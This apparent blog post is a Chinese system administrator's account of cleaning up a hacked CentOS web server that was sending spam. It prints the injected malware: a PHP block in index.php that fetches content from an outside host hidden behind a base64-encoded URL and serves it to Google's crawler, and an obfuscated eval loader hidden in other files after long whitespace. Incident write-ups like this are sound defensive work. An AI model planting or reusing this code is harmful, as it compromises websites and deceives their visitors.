我使用的服务器为CentOS 5.6,托管于电信机房,主要用于公司开发时的版本控制,此外放置了公司网站。某天醒来,SSH登录服务器,mail中有5万余封email,内容如下:
From MAILER-DAEMON@我的域名.com Thu Jun 23 18:55:06 2011
Date: Thu, 23 Jun 2011 18:55:00 +0400
From: Mail Delivery Subsystem <MAILER-DAEMON@我的域名.com>
To: apache@我的域名.com
Subject: Returned mail: see transcript for details
……
----- The following addresses had permanent fatal errors -----
<dtkc58@aol.com;cloudgerald@aol.com;healthychi@earthlink.net;hobbesfam@sbcglobal.net;hockeyman88nt@a...
njr@bellsouth.net;tinasanchez@bellsouth.net;herbschultz@cox.net;jane1954@shaw.ca;kbklbecker@aol.com>
……
显然,服务器被黑客用于群发垃圾邮件,于是着手解决。首先,暂时关闭了sendmail服务,这不是长久之计,因为会影响到自己正常的应用。然后,检查sendmail的配置,查看reply是否能够用于外网地址。由于sendmail版本较新,只有来自127.0.0.1的邮件才会被转发。
然后,检查Web站点文件,发现几乎所有的PHP文件都被修改了。首先是index.php中,存在以下代码:
<?php
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL29ubGluZS1pbmZvcm0uYml6L2JvdHN0YXQ0L3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
$stCurlHandle = curl_init( $stCurlLink );
}
} else
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL29ubGluZS1pbmZvcm0uYml6L2JvdHN0YXQ0L3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']);
$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
$sResult = curl_exec($stCurlHandle);
echo $sResult; // Statistic code end
curl_close($stCurlHandle);
}
?>
其它文件的第一行,在空了很多个空格后,存在以下代码:
if(!defined("GR_HOST_ID")){define("GR_HOST_ID", "index_prx93");}@include_once('/opt/www/plugins/functions.inc.php');
<?php /* */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x2420;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDdkKTskT08wME8wME8wPSRPT08wMDAwTzAoJE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NKFGLQ1SLW4nN+FJ66AxWRAa13PJAZApfCFvzW6n1sAaNBniL3QGNKQGwbaG+KQpLKApfCFvzW6n1sAHoBQpLKkVZRaGWCN+1hetTZ6aXZkVZp8KRe6tdECufCalVnRPIq
悉数清理后,重新对站点权限进行设置,用mailq检查邮件列表,清理/var/spool/mqueue/中还未发出的垃圾邮件。 问题解决。
最后对攻击原因进行了总结,由于事先更换了SSH端口,FTP密码强度也足够,几乎所有没必要的端口我都没开,因此黑客只能是用了SQL注入的方法,套取到我的管理员密码。我们网站后台是国外某开源CMS,存在漏洞,现在通过版本升级修补了相关漏洞。